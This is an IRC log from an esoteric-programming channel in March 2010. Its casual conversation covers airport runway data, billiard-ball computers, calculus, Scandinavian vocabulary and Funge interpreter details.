21:49:23 <AnMaster> fizzie, btw http://www.finavia.fi/files/finavia2/Taulukot/Airport_Facts_Chart_Jan09.pdf
21:49:37 <uorygl> Five hyphens and three pounds, right?
21:49:43 <AnMaster> fizzie, your measurement is way off, those are all about 60 m wide
21:50:07 <AnMaster> the one I gave was for a rather small airport
21:50:15 <oerjan> uorygl: as it should be!
21:50:22 <fizzie> AnMaster: It still rounds to 50 if you quantize things with large enough granularity.
21:50:28 <AnMaster> also, just CAT II ILS heh
21:50:37 <AnMaster> is there a larger airport near there?
21:51:03 <AnMaster> if not I'm really surprised at the main Helsingfors airport not having a CAT III ILS
21:51:21 <fizzie> There's nothing larger than Helsinki-Vantaa in Finland, no.
21:51:27 <AnMaster> fizzie, heh
21:51:48 <fizzie> But the one I approximated at 20 m width was another place.
21:52:38 <AnMaster> fizzie, oh? you said EFHK when I asked
21:52:53 <fizzie> Yes, that was for the 50 m figure.
21:53:02 <fizzie> <fizzie> The "main" (Helsinki-Vantaa) airport runway width, eyeballing from that satellite photo, seems to be around 50 m.
21:53:11 <AnMaster> fizzie, I was asking about the 20 meter one, I must have missed that line
21:53:34 <fizzie> That one; it's EFHF for the tiny almost-in-the-city-centre airport.
21:54:28 <fizzie> It's not listed in that facts chart either; it's possible that it's still administered by the (apparently still existing as a subset of another government thing) Finnish Civil Aviation Authority thing, and not by the Finavia state-owned-enterprise nonsense.
21:55:26 <AnMaster> ffs, lfv.se has redesigned, I'm unable to find the data on Swedish airports
21:55:32 <AnMaster> flight weather yes...
21:55:36 -!- Gracenotes has quit (Quit: Leaving).
21:55:41 <AnMaster> but not the landing patterns and so on
21:55:45 <AnMaster> I know I have read it before
21:55:49 <fizzie> If I read https://ais.fi/ais/eaip/aipcharts/efhf/hfad.pdf right that 20 m is actually 30 m. (At least in the N x M numbers the N matches the listed runway lengths.)
21:56:23 <AnMaster> fizzie, charts like that plus a lot more I remember seeing on lfv.se ...
21:56:23 <fizzie> I like it how they have that other runway exactly 2^10 metres.
21:56:25 <oerjan> AnMaster: clearly it's to confuse the terrorists
21:56:46 <AnMaster> oerjan, -_-
21:57:23 <AnMaster> fizzie, yes seems to be 30 meters wide asphalt
21:57:53 <AnMaster> fizzie, also note the listing with the four runways down in the corner
21:58:06 <AnMaster> fizzie, do you know where the two "missing" ones are ;P
21:58:35 <AnMaster> what about you oerjan?
21:59:26 <fizzie> Are those just the same things in both directions? It sure looks that way.
21:59:32 <AnMaster> fizzie, indeed
22:00:01 <AnMaster> fizzie, I expect oerjan would have answered before you if the directions had been given as radians instead of magnetic heading
22:01:07 <AnMaster> what is the google thingy to search for things that links to a given url?
22:01:20 <fizzie> Anyhow, https://ais.fi/ais/eaip/en/ seems to be the site for that sort of detailed information; it's Finavia-operated, but couldn't find any links to it from the mostly-PR-stuff finavia.fi site. At least Google helped.
22:01:36 <uorygl> I suddenly wish .523 were a TLD.
22:01:43 <AnMaster> uorygl, why?
22:02:50 <fizzie> AnMaster: Do you mean the link: operator?
22:02:57 <AnMaster> fizzie, ah thanks
22:02:58 <fizzie> (http://www.google.com/intl/en/help/operators.html)
22:03:01 <AnMaster> well, that didn't solve it
22:03:51 <fizzie> Doing "link:" searches seems to work rather randomly nowadays, anyway.
22:04:26 <AnMaster> aha http://www.lfv.se/sv/LFV/Flygtrafiktjansten/FPC/IAIP/AD-0-4/AD-2/
22:04:28 <AnMaster> there we go
22:04:42 <AnMaster> wow that is a lot of separate pdfs: http://www.lfv.se/sv/LFV/Flygtrafiktjansten/FPC/IAIP/AD-0-4/AD-2/S/
22:05:18 <oerjan> AnMaster: i might have answered before fizzie if i had either (1) been looking at your page (2) not been browsing reddit
22:05:32 <AnMaster> oerjan, suuuure ;P
22:06:33 <AnMaster> fizzie, oh and it seems ESSA at least have CAT III ILS :P
22:06:47 -!- werdan7 has quit (Ping timeout: 615 seconds).
22:09:34 <uorygl> AnMaster: because then we could have ais.523.
22:14:18 -!- werdan7 has joined.
22:16:01 <AnMaster> uorygl, -_-
22:18:32 -!- MigoMipo has quit (Read error: Connection reset by peer).
22:29:11 <lament> Quadrescence: thermo says STAY OUT of #nm
22:29:29 <lament> so you should probably join just to piss him off
22:32:25 <AnMaster> lament, what is #nm about?
22:32:31 <AnMaster> nanometers?
22:32:37 <AnMaster> nautical miles?
22:32:52 <oerjan> naughty midgets
22:33:33 <AnMaster> no mathematicians
22:34:00 <AnMaster> or perhaps naughty mathematicians
22:34:23 <AnMaster> would that be like not writing => when you should?
22:35:59 <uorygl> What's the irssi command to swap the current window with the given window
22:36:05 <uorygl> ^H?
22:36:08 <olsner> oerjan: hmm, what was it again - two contumacious cubits per naughty midget?
22:36:20 <AnMaster> olsner, ???
22:36:38 -!- MizardX has quit (Read error: Connection reset by peer).
22:36:44 <olsner> AnMaster: !!!
22:36:45 <AnMaster> why cubits?
22:37:06 <oerjan> olsner: itym cupids
22:37:07 <AnMaster> oh wait, not qubits?
22:37:26 <AnMaster> "A cubit is the first recorded unit of length and was one of many different standards of measurement used through history."
22:37:28 <AnMaster> says wikipedia
22:37:29 <olsner> AnMaster: for their contumacity, of course
22:37:46 <AnMaster> olsner, and itym qubits
22:37:59 <olsner> oerjan: not that I did, but I could have meant it
22:38:53 -!- MizardX has joined.
22:39:20 <oerjan> `define cubit
22:39:23 <HackEgo> * an ancient unit of length based on the length of the forearm \ [19]wordnetweb.princeton.edu/perl/webwn \ * CUBIT is an open source multi-touch system designed by Stefan Hechenberger and Addie Wagenknecht for NOR_/D. It was developed to "demystify multitouch" technology through making its software and hardware
22:40:45 -!- tombom has quit (Quit: Leaving).
22:41:36 -!- charlls has quit (Read error: Connection reset by peer).
22:45:48 -!- zeotrope has quit (Read error: Operation timed out).
22:48:29 -!- zeotrope has joined.
22:53:01 -!- nooga has quit (Ping timeout: 264 seconds).
23:00:00 -!- nooga has joined.
23:14:26 -!- adam_d has quit (Quit: Leaving).
23:30:18 -!- BeholdMyGlory has quit (Remote host closed the connection).
23:54:37 -!- fax has quit (Quit: Lost terminal).
23:57:18 -!- coppro has joined.
23:57:53 -!- FireFly has quit (Quit: Leaving).
2010-03-12
00:11:42 -!- coppro has quit (Remote host closed the connection).
00:12:37 -!- coppro has joined.
00:15:22 -!- Oranjer has joined.
00:46:18 -!- augur has quit (Ping timeout: 248 seconds).
00:50:42 -!- oerjan has quit (Quit: Reboot).
01:01:34 -!- oerjan has joined.
01:48:12 -!- oerjan has quit (Quit: Good night).
02:04:03 -!- lament has quit (Ping timeout: 240 seconds).
02:05:23 -!- lament has joined.
02:38:51 -!- jcp has joined.
02:49:22 -!- augur has joined.
02:55:17 -!- coppro has quit (Remote host closed the connection).
02:55:52 -!- coppro has joined.
02:56:01 -!- coppro has quit (Remote host closed the connection).
02:56:52 -!- coppro has joined.
03:08:53 -!- Asztal has quit (Ping timeout: 265 seconds).
03:40:41 -!- rodgort has quit (Ping timeout: 246 seconds).
03:43:51 -!- Asztal has joined.
03:53:10 -!- rodgort has joined.
04:01:59 -!- Azstal has joined.
04:04:08 -!- Asztal has quit (Ping timeout: 255 seconds).
04:04:22 -!- Azstal has changed nick to Asztal.
04:16:44 -!- zzo38 has joined.
04:17:14 <zzo38> Those people on #ubuntu won't help me I need to make a autorun CD that can download the following program from the internet: http://wiki.freegeekvancouver.org/w/index.php?action=raw&ctype=text/css&title=Qc.sh
04:17:33 -!- Azstal has joined.
04:18:42 -!- Asztal has quit (Ping timeout: 252 seconds).
04:18:42 -!- Azstal has changed nick to Asztal.
04:25:10 -!- adu has joined.
04:26:30 -!- zzo38 has quit (Remote host closed the connection).
04:29:22 -!- MizardX has quit (Ping timeout: 276 seconds).
04:47:15 -!- zzo38 has joined.
04:47:22 <zzo38> Also, I would like to see if you can like this game and if you can figure it out: http://zzo38computer.cjb.net/GAMES/100level.zip
04:50:44 -!- Oranjer has left (?).
04:55:43 -!- zzo38 has quit (Remote host closed the connection).
05:10:59 -!- SimonRC has quit (Ping timeout: 246 seconds).
05:20:15 -!- SimonRC has joined.
05:26:49 -!- Asztal has quit (Ping timeout: 260 seconds).
06:48:05 -!- Libster has joined.
06:48:10 <Libster> hello
06:48:55 <Libster> oh hi Quadrescence didn't know you were in here too
06:49:22 <Quadrescence> Libster: http://www.youtube.com/watch?v=An5afQemAV4
07:01:18 -!- cheater2 has quit (Read error: Connection reset by peer).
07:01:44 -!- cheater2 has joined.
07:06:34 -!- tombom has joined.
07:11:59 <Libster> should i spam this channel [ ] yes [ ] no
07:12:47 <Libster> eh don't have the energy to troll here tonight
07:12:49 -!- Libster has left (?).
07:38:44 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
07:50:53 -!- tombom has quit (Quit: Leaving).
07:56:54 -!- oerjan has joined.
07:59:59 -!- clog has quit (ended).
08:00:00 -!- clog has joined.
08:24:17 -!- oerjan has quit (Quit: leaving).
08:48:53 -!- Quadrescence has quit (Quit: omghaahhahaohwow).
08:52:15 -!- cheater has quit (Ping timeout: 245 seconds).
08:52:18 -!- cheater has joined.
09:05:21 -!- lament has quit (Ping timeout: 258 seconds).
09:08:03 -!- lament has joined.
09:28:53 -!- lereah_ has joined.
09:28:57 <lereah_> "In 1990, for instance, Cristopher Moore devised a kind of idealized pin-ball machine which is capable of universal computation."
09:28:59 <lereah_> Duuuuude
09:29:08 <lereah_> Why didn't anyone implement that!
09:31:26 <uorygl> Because it requires a frictionless environment and perfect aim and timing, I imagine.
09:31:44 <mtve> previous work is from 1982 - http://en.wikipedia.org/wiki/Billiard-ball_computer
09:31:47 <uorygl> Then again, a powered computer can overcome such concerns.
09:32:13 <uorygl> I've written two different programming language specs based on the billiard ball machine!
09:33:11 <lereah_> :D
09:35:37 <uorygl> To actually implement a billiard ball computer, I think you'll want an array of magnets that turn on and off periodically.
09:37:07 <uorygl> Should be pretty easy to simulate and create.
09:56:56 <uorygl> I'm tempted to do that.
10:20:37 -!- adu has quit (Quit: adu).
10:27:43 <augur> http://i.imgur.com/0B8s9.gif
12:10:03 -!- zeotrope has quit (Ping timeout: 240 seconds).
13:10:05 -!- lereah_ has left (?).
13:10:11 -!- lereah_ has joined.
13:24:04 -!- MigoMipo has joined.
13:31:54 -!- FireFly[DS] has joined.
13:45:45 -!- ais523 has joined.
13:51:56 -!- MigoMipo has quit (Remote host closed the connection).
14:05:51 <cheater> hello esoterians
14:05:54 <cheater> how are you doinging
14:06:30 <FireFly[DS]> well...
14:06:35 <FireFly[DS]> it's well
14:06:48 <cheater> like, wif wata?
14:08:00 <FireFly[DS]> Though I, like, have to go soon
14:08:37 <cheater> make since
14:10:41 <FireFly[DS]> like, now
14:10:43 <FireFly[DS]> ->
14:10:48 -!- FireFly[DS] has quit (Quit: ClIRC - IRC client for Nintendo DS).
14:47:23 -!- MizardX has joined.
15:24:21 -!- fax has joined.
15:24:39 -!- fax has quit (Changing host).
15:24:39 -!- fax has joined.
15:55:09 -!- ais523 has quit (Read error: No route to host).
15:58:52 <fax> lament?
15:59:28 <fax> I am not sure real analysis IS the limit of the finite calculus
16:04:15 <AnMaster> fax, hm? what is real analysis about exactly?
16:04:17 -!- ais523 has joined.
16:04:21 <AnMaster> hi ais523
16:04:22 -!- ais523 has quit (Changing host).
16:04:22 -!- ais523 has joined.
16:04:44 <ais523> hi
16:04:53 <AnMaster> ais523, suggestion: identify before joining channels. Freenode sends a fake quit nowdays for host mask changes
16:04:58 <AnMaster> * ais523 (~ais523@147.188.254.119) has joined #esoteric
16:04:59 <AnMaster> * ais523 has quit (Changing host)
16:04:59 <AnMaster> * ais523 (~ais523@unaffiliated/ais523) has joined #esoteric
16:06:20 <fax> AnMaster, like infintesimals, or limits -- it's all about the continuum of real numbers and functions on real numbers
16:06:39 <fax> what calculus is made of
16:06:49 <AnMaster> fax, why is it called finite analysis if it works on R, (an uncountably infinite set)..
16:07:06 <fax> no
16:07:07 <AnMaster> unless the name "real analysis" is misleading
16:07:25 <AnMaster> fax, err, finite calculus
16:07:32 <AnMaster> but same question still stands
16:07:38 <AnMaster> (with the typo corrected)
16:07:56 <fax> AnMaster, I explained what real analysis is
16:08:11 <AnMaster> fax, yes, and then why is it called finite calculus?
16:08:12 <fax> that was not a description of finite calculus
16:08:19 <AnMaster> <fax> I am not sure real analysis IS the limit of the finite calculus
16:08:25 -!- ais523 has quit (Read error: Connection reset by peer).
16:08:25 <AnMaster> it sounded like it was more?
16:08:45 <AnMaster> perhaps I misinterpreted what you meant originally
16:08:52 <fax> lament said that real analysis is the limit of finite calculus
16:09:01 <fax> I said, I am not sure that is so
16:09:12 <AnMaster> fax, limit as in "we can't do anything more advanced using this thing"?
16:09:14 -!- ais523 has joined.
16:09:21 <fax> no
16:09:27 <AnMaster> fax, ah, as in lim?
16:09:30 <fax> yes
16:09:57 <fax> ah now I see what you thought I meant
16:09:59 <AnMaster> fax, then that whole statement sounds somewhat strange to me.
16:10:16 <AnMaster> (but then, I'm no expert on such things)
16:10:20 <AnMaster> fax, right
16:10:51 <fax> have you studied real analysis?
16:13:16 -!- lereah_ has quit (Quit: Leaving).
16:14:18 <fax> AnMaster
16:16:13 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
16:17:28 <AnMaster> fax, not that I know
16:18:45 <fax> AnMaster, it's just exploring the convergence/divergence of sequences of real numbers, then series (running totals of sequences), then lim & integrability - the big theorem from it is l'hopital
16:22:59 -!- nooga has quit (Ping timeout: 265 seconds).
16:24:02 -!- FireFly has joined.
16:24:46 <fax> but there are some striking similarities between the finite calculus and 'normal' calculus
16:26:59 -!- oerjan has joined.
16:30:16 -!- FireFly has quit (Ping timeout: 268 seconds).
16:31:10 -!- BeholdMyGlory has joined.
16:32:19 <oerjan> fax: they both have a lot to do with linear algebra. both derivations are linear operators on a vector space of functions
16:35:25 <fax> oerjan how did you know we were talking about this!!!!!
16:35:35 <oerjan> by the power of logs
16:35:45 <fax> oerjan, did you take the log of both sides?
16:35:59 <oerjan> well yeah, it was rather short
16:38:09 <AnMaster> both sides?
16:38:33 <oerjan> fax: see what you have done?
16:39:45 <fax> I didnt' know you knew about finite calculus!!!!
16:39:51 <fax> I wish I had concrete maths
16:41:12 <AnMaster> fax, wouldn't those be rather heavy and hard to handle?
16:41:24 <AnMaster> plus would take a lot of time to dry I guess
16:41:48 <cheater> i keep on thinking that #esoteric looks very much like #erotic
16:42:35 <AnMaster> cheater, Freud perhaps?
16:42:44 <cheater> definitely
16:42:48 <cheater> and this brings us to OMG PONIES!
16:42:52 <cheater> pooooooooonieeeeeeeeees
16:42:58 <cheater> is there an esolang for PONIES?
16:43:04 <AnMaster> cheater, wait, are you ehird?
16:43:09 <cheater> no
16:43:16 <oerjan> cheater: it's that gay sex thing
16:43:17 <AnMaster> then wth
16:43:17 <cheater> why would i be ehird?
16:43:32 <AnMaster> cheater, because of what you just said
16:43:42 <cheater> what? PONIES?
16:43:45 <oerjan> because ehird is disappeared again
16:43:50 <AnMaster> though usually he go for pink unicorn ponies iirc
16:43:52 <cheater> ehird is not me
16:44:03 <oerjan> cheater: well that's what you _say_
16:44:07 -!- FireFly has joined.
16:44:21 <cheater> i'm not sure if i should be insulted or aroused
16:44:27 <cheater> maybe both
16:44:32 <AnMaster> I think the latter is completely wrong
16:44:42 <cheater> but so enjoyable
16:44:48 <AnMaster> wrong channel
16:45:14 -!- FireFly has quit (Remote host closed the connection).
16:45:14 -!- BeholdMyGlory has quit (Remote host closed the connection).
16:48:49 <cheater> hey, you're the guy turning this place into #ethics
16:49:01 <cheater> :p
16:56:11 -!- BeholdMyGlory has joined.
17:03:54 <AnMaster> cheater, me? not afaik
17:04:06 <cheater> ok :p
17:04:30 <oerjan> AnMaster doesn't care about ethics at _all_
17:06:04 -!- tombom has joined.
17:06:46 -!- nooga has joined.
17:09:33 -!- augur has quit (Ping timeout: 240 seconds).
17:17:20 -!- kar8nga has joined.
17:19:26 -!- FireFly has joined.
17:23:05 -!- BeholdMyGlory has quit (Ping timeout: 245 seconds).
17:24:01 -!- hiato has joined.
17:25:09 -!- FireFly has quit (Ping timeout: 268 seconds).
17:25:25 -!- BeholdMyGlory has joined.
17:25:46 <Deewiant> AnMaster: In FING, does Z pop or duplicate the source
17:25:47 -!- FireFly has joined.
17:26:59 <AnMaster> Deewiant, um. try his test program for FING
17:27:09 <AnMaster> cfunge passes it at least
17:27:15 <AnMaster> I don't remember the details
17:27:15 <Deewiant> Meh
17:27:30 <AnMaster> Deewiant, and atm I'm sadly very preocupied
17:27:35 <AnMaster> (modulo spellin)
17:27:42 <AnMaster> spelling*
17:29:31 <Deewiant> ^source
17:29:31 <fungot> http://git.zem.fi/fungot/blob/HEAD:/fungot.b98
17:31:16 <AnMaster> Deewiant, you could also look at efunge or cfunge source, both supports FING
17:31:37 <AnMaster> Deewiant, still, use RCS's own test suite, there was some surprising semantics iirc
17:31:39 <AnMaster> forgot what it was
17:34:54 <uorygl> Woo, Norwegian.
17:35:15 <uorygl> I'm reading the article about flax. With the help of Wikipedia, I've mostly translated the first two sentences.
17:35:34 <uorygl> Somewhat literal translation:
17:36:43 <uorygl> "Dyrka lin (Linum usitatissimum) or also simply called 'lin' is a species in the genus lin (Linum). Lin is an ettårig plant as it's been grown by humans in more than 10,000 years."
17:37:38 <oerjan> som = which, not as
17:37:41 <uorygl> "Lin" is "flax", of course, but I don't know what "ettårig" is all about.
17:37:52 <oerjan> one year life
17:38:15 <uorygl> Ah, "which" makes more sense.
17:38:19 <ais523> oh, "annual" in English (as opposed to "perennial")
17:38:27 <oerjan> yes
17:38:51 <AnMaster> hm?
17:39:00 <oerjan> and that instance of "i" is better translated as "for" than "in"
17:39:17 <uorygl> Indeed.
17:39:30 <uorygl> What's the "dyrka" all about?
17:39:55 <oerjan> cultivated
17:40:09 * uorygl nods.
17:40:46 <uorygl> It would be neat if you called domestic cats "dyrka katt".
17:41:13 <oerjan> nah
17:41:19 <oerjan> applies only to plants
17:41:22 <ais523> in English, a "cultivated cat" would be one with good manners
17:41:37 <oerjan> "tam" is the word for animals
17:42:01 <oerjan> http://no.wikipedia.org/wiki/Katt
17:42:16 <oerjan> tamkatt and huskatt (house cat)
17:42:17 <uorygl> I think I'd rather read about tamkatten than lin.
17:42:58 <oerjan> pus is like "kitty", really, don't know why they list all the variants with that
17:43:20 -!- augur has joined.
17:43:23 <uorygl> Cognate to "pussy", I imagine.
17:43:31 <oerjan> yeah
17:43:34 <fax> pussy kitty
17:43:45 <fax> hiaugur
17:43:59 <uorygl> So in Norwegian, you have not only pussy-cats but catty-pusses?
17:44:06 <oerjan> although the _other_ meaning of pussy is translated as "mus" (cognate to "mouse")
17:44:39 <uorygl> `translate Tamkatten har også i noen grad gått under det vitenskapelige navnet F. s. domesticus.
17:44:51 <HackEgo> Tamkatten has also to some extent been under the scientific name of F. s. domesticus.
17:45:42 <oerjan> heh that's pretty good
17:46:19 <oerjan> except you'd want a "known" after been, i think
17:46:52 <oerjan> tam is of course cognate to tame
17:46:59 <uorygl> What's "noen grad gått", word for word?
17:47:04 <uorygl> Ooh, fancy.
17:47:10 <oerjan> some degree gone
17:47:38 <uorygl> "Grad" is probably cognate to "grade".
17:47:47 <oerjan> probably
17:49:31 -!- kar8nga has quit (Read error: Connection reset by peer).
17:49:57 -!- zzo38 has joined.
17:50:10 <zzo38> I think a good feature for a web-browser, I will add is "redial URL" command.
17:50:15 <zzo38> Sometimes when you enter a URL or follow a hyperlink it will redirect. Using reload just reloads the current URL.
17:50:21 <oerjan> ais523: norwegian "kultivert" means with good manners too
17:50:23 <zzo38> So, the idea is that using redial it will reload the original URL instead of necessariily the current one.
17:50:45 <ais523> hmm, yes
17:50:54 <ais523> how often do redirects change, anyway?
17:51:12 <ais523> perhaps it should work Wikipedia-style where redirects show the original URL not the new one
17:51:49 <oerjan> actually "kultivert" seems to be usable for plants too
17:52:33 <zzo38> It doesn't matter how often redirects change. (Sometimes they are random redirects, such as the "Random page" on Mediawiki)
17:53:43 <zzo38> Once I think how to implement, I will do so. C-R is already used for "rewind" so I can put C-E for "redial", maybe??
17:53:50 <uorygl> `translate Den er et lite rovpattedyr i kattefamilien, og regnes i dag som en variant av afrikansk villkatt (F. s. lybica).
17:53:52 <HackEgo> It is a small rovpattedyr in the cat family, and is today considered a variant of the African wild cat (F. s. lybica).
17:53:58 -!- Asztal has joined.
17:54:14 <AnMaster> <uorygl> It would be neat if you called domestic cats "dyrka katt". <-- that sounds like Egytians to me
17:54:38 <oerjan> uorygl: rovpattedyr = carnivore (mammal)
17:55:01 <uorygl> You mean a carnivoran?
17:55:18 <oerjan> uorygl: i don't know that distinction
17:55:33 <uorygl> Carnivorans are a clade of mammals including cats, dogs, and bears.
17:55:41 <oerjan> rovdyr alone means the same, except maybe not just mammals
17:55:53 <uorygl> Carnivores are anything that eats meat.
17:56:10 <oerjan> http://no.wikipedia.org/wiki/Rovpattedyr
17:56:15 <uorygl> Good idea.
17:56:39 <oerjan> actually that article includes both with and without -patte-
17:56:41 <uorygl> Yeah, it's the carnivorans.
17:56:41 <AnMaster> oerjan, what does dyrka mean in Norwegian?
17:56:49 <oerjan> AnMaster: cultivated, i said
17:57:00 <oerjan> isn't it dyrkad in swedish?
17:57:05 <uorygl> Is "regnes i dag" literally "considered in today" or "considered in day"?
17:57:05 <AnMaster> oerjan, in Swedish it means a) worship or b) lockpicking
17:57:19 <AnMaster> thus the comment about egyptians
17:57:29 <oerjan> AnMaster: in norwegian (a) dyrke (b) dirke
17:57:30 <ais523> AnMaster: what a strange pair of words to have as homographs
17:57:57 <oerjan> AnMaster: norw. dyrka is a past participle not an infinitive (except in some forms of nynorsk)
17:58:07 <AnMaster> ais523, well I think the latter is somewhat "not slang, but not really formal either"
17:58:17 <ais523> how similar are nynorsk and bokmal, by the way?
17:58:23 <ais523> mutually intelligble?
17:58:53 <oerjan> ais523: you can write them quite similarly, although there is also an option for using very strange word choices not usually in the other
17:59:01 <AnMaster> ais523, also dyrka as worship sounds somewhat like it wouldn't have been used about Christan worship in past time. Perhaps it has a slight negative quality embedded
17:59:03 <uorygl> Like skillingsbolle.
17:59:05 <AnMaster> not really sure
17:59:08 <oerjan> and some grammar endings are different
17:59:10 <ais523> oerjan: ah, pretty much like English and Scottish?
17:59:35 <AnMaster> <uorygl> Like skillingsbolle. <-- is that bokmåö or nynorsk?
17:59:35 <oerjan> ais523: perhaps, i'm not that familiar with scottish
17:59:41 <uorygl> I was sort of under the impression that Nynorsk and Bokmal were simply different writing systems.
17:59:44 <oerjan> AnMaster: both i think
17:59:49 <AnMaster> ais523, btw bokmal sounds hilarious in Swedish
17:59:51 <ais523> it's like English, except that some of the words are different
17:59:54 <AnMaster> it means "book moth"
18:00:05 <ais523> I think I missed an accent
18:00:14 <Deewiant> Bokmål
18:00:14 <uorygl> I think Wikipedia calls them "skillingsbolle" in Bokmal and "kanelbolle" in Nynorsk.
18:00:22 <AnMaster> ais523, not accent... å is _not_ a with an accent
18:00:25 <oerjan> uorygl: "regnes i dag" = "is today considered"
18:00:27 <AnMaster> it is a separate letter in the alphabet
18:00:30 <ais523> well, OK
18:00:37 <ais523> the accent is still how you /type/ it, though
18:00:37 <uorygl> oerjan: which word is which?
18:00:40 <Deewiant> AnMaster: Diacritics are commonly called accents
18:00:47 <AnMaster> ais523, no it isn't for me. There is a key for it
18:00:50 <ais523> just like ä and a are different letters in German
18:01:02 <ais523> AnMaster: in Hungarian, ly is a different letter from l (and not two letters)
18:01:04 <AnMaster> Deewiant, I would say it isn't Diacritics either. Just like the dot over i isn't
18:01:07 <ais523> likewise, ll is a letter of its own in Welsh
18:01:17 <ais523> which you really have to hear pronounced to know what it sounds like
18:01:17 <AnMaster> ais523, see!
18:01:27 <ais523> but you still /type/ it as two ls
18:01:27 <uorygl> Is ll still considered a separate letter in Spanish?
18:01:32 <AnMaster> ais523, in Swedish ä is different from a too
18:01:38 <AnMaster> same goes for o vs. ö
18:01:49 <Deewiant> AnMaster: I would say it is, since it's still got the basic glyph "a" underneath
18:01:56 <ais523> so if you wrote Landudno rather than Llandudno, you could truthfully say you missed an l (although I'm not sure I've spelt the rest of the word correctly)
18:02:05 <AnMaster> Deewiant, well, then i is also an IPA symbol with a dot over it!
18:02:07 <AnMaster> or something
18:02:18 <oerjan> AnMaster: book moth would be bokmøll in norw.
18:02:21 <AnMaster> which is absurd
18:02:25 <AnMaster> oerjan, right
18:02:30 <Deewiant> AnMaster: No, because they're different alphabets.
18:02:45 <Deewiant> AnMaster: Swedish and company use both glyphs, a and å.
18:02:48 <AnMaster> Deewiant, and? what about v and w?
18:02:56 <Deewiant> AnMaster: v isn't a diacritic.
18:02:56 <AnMaster> the latter is vv basically
18:02:58 <oerjan> uorygl: i don't think "skillingsbolle" vs. "kanelbolle" is really a bokmål/nynorsk distinction
18:03:00 <AnMaster> because it *looks* like it
18:03:10 <AnMaster> so it must be that vvay
18:03:11 <uorygl> According to Unicode, all IPA glyphs are lowercase Latin letters.
18:03:13 <AnMaster> clearly
18:04:05 <AnMaster> Deewiant, but the same argument should apply even to non-diacritics
18:04:11 <zzo38> Really? OK
18:04:11 <AnMaster> where one letter looks like another extended
18:04:21 <oerjan> uorygl: i dag = today, regnes = is considered
18:04:23 <AnMaster> Deewiant, like L is l_
18:04:46 <AnMaster> oerjan, the latter looks for a typo of "rains" to me
18:04:47 <Deewiant> AnMaster: Why should it? I'm talking about diacritics.
18:04:54 <AnMaster> Deewiant, well, why should it *not*
18:05:23 <oerjan> AnMaster: regne means both to rain and to calculate/consider in norwegian
18:06:10 <Deewiant> AnMaster: My point was that the ° on the å can/should be considered a diacritic in Swedish and therefore can be called an accent. I'm not even sure what you're trying to argue at the moment.
18:06:25 <uorygl> I sense a pun.
18:06:34 <oerjan> uorygl: -s is a passive present ending, used in fairly formal writing
18:06:37 <uorygl> "Hey cloud, what are you doing?" "I'm considering."
18:06:56 <oerjan> uorygl: Vi må regne med regn.
18:07:16 <AnMaster> Deewiant, hm? it isn't considered that way though
18:07:28 <uorygl> `translate Vi må regne med regn.
18:07:31 <HackEgo> We must expect rain.
18:07:33 <oerjan> regne med = expect
18:07:47 <uorygl> What's med?
18:07:48 <AnMaster> oh
18:07:50 <oerjan> with
18:07:51 <AnMaster> räkna in Swedish
18:08:00 <AnMaster> uorygl, also the thing under sleds
18:08:04 <AnMaster> that touches the slow
18:08:05 <oerjan> uorygl: norwegian like english is cursed with phrasal verbs :D
18:08:06 <AnMaster> err
18:08:07 <AnMaster> snow
18:08:19 <AnMaster> they are also called "med" (medar in plural)
18:08:33 <oerjan> AnMaster: meie in norwegian
18:08:36 <AnMaster> mhm
18:08:52 <AnMaster> oerjan, no reason to keep it at a single language is there?
18:09:26 <AnMaster> Deewiant, anyway, my point was that replacing ö with o, å with a or ä with a is *incorrect*
18:09:35 <Deewiant> Yes, that is true.
18:09:37 <uorygl> So how would you say "I'm considering" or "I'm raining", if those are the same thing?
18:09:41 <AnMaster> and can quite often yield a different and valid word
18:09:46 <AnMaster> sometimes to hilarious effects
18:10:01 <Deewiant> Well, that can happen regardless of diacritic-ness.
18:10:04 <Deewiant> But yes.
18:10:07 <oerjan> AnMaster: i'm just providing comparisons
18:10:14 <zzo38> Give examples of how they can yield different word
18:10:21 <uorygl> `translate Tengo 17 años.
18:10:24 <HackEgo> I have 17 years.
18:10:26 <uorygl> `translate Tengo 17 anos.
18:10:26 <AnMaster> Deewiant, ais523 see: http://en.wikipedia.org/wiki/%C3%85#Transcription
18:10:34 <HackEgo> Tengo 17 anos.
18:10:35 <ais523> why?
18:10:42 <uorygl> `translatefromto es en Tengo 17 anos.
18:10:51 <HackEgo> Tengo 17 anos.
18:10:52 <AnMaster> ais523, because å -> a is incorrect. Wrong way to transcribe it
18:10:53 <oerjan> uorygl: actually "I'm considering" alone does not use regne
18:10:54 <Deewiant> AnMaster: I know all this, I'm just arguing what the term 'diacritic' means :-P
18:11:09 * uorygl growls at HackEgo.
18:11:11 <oerjan> it needs to be "consider as" -> "regne som"
18:11:18 <ais523> AnMaster: according to that article, it often is transcribed as "a"
18:11:20 <AnMaster> ais523, you should use å -> aa, ä -> ae, ö -> oe I think.
18:11:25 <AnMaster> ais523, incorrect though
18:11:27 <uorygl> oerjan: how about "I'm calculating"?
18:11:40 <oerjan> uorygl: jeg regner, yes
18:11:48 <AnMaster> uorygl, "jag beräknar"
18:11:57 <AnMaster> because "räknar" is more like "counting"
18:11:58 <Deewiant> AnMaster: ä/ö -> ae/oe aren't valid for Finnish, not sure about Swedish. (They are valid for German, however.)
18:12:05 <AnMaster> or perhaps just basic +-*/
18:12:14 <oerjan> AnMaster: beregne is only transitive in norwegian
18:12:20 <AnMaster> while calculating and "beräknar" sounds more like the stuff oerjan does
18:12:27 <AnMaster> for Swedish that is
18:12:43 <uorygl> How do you transcribe Finnish, anyway?
18:12:50 <AnMaster> Deewiant, not completely valid for Swedish I think
18:12:51 <Deewiant> You don't. :-P
18:13:11 <AnMaster> conclusion: just don't drop the dots and rings
18:13:20 <AnMaster> uorygl, why would you need to
18:13:23 <ais523> I can't type the ring on this keyboard, or at least don't know how
18:13:25 <Deewiant> Sometimes you have to
18:13:26 <ais523> although umlauts are fine
18:13:30 <uorygl> Because you don't have access to a Finnish keyboard, perhaps.
18:13:34 <AnMaster> Deewiant, it is just the same alphabet as Swedish isn't it?
18:13:49 -!- ais523 has quit (Remote host closed the connection).
18:13:53 <AnMaster> uorygl, Well, Swedish and Finnish share keyboard layout
18:14:12 <Deewiant> AnMaster: Almost: W isn't officially part of the alphabet
18:14:23 <AnMaster> Deewiant, it wasn't in Swedish until very recently either
18:14:23 <oerjan> uorygl: "I'm considering" alone would be more likely "Jeg vurderer"
18:14:43 <oerjan> if you're considering doing something
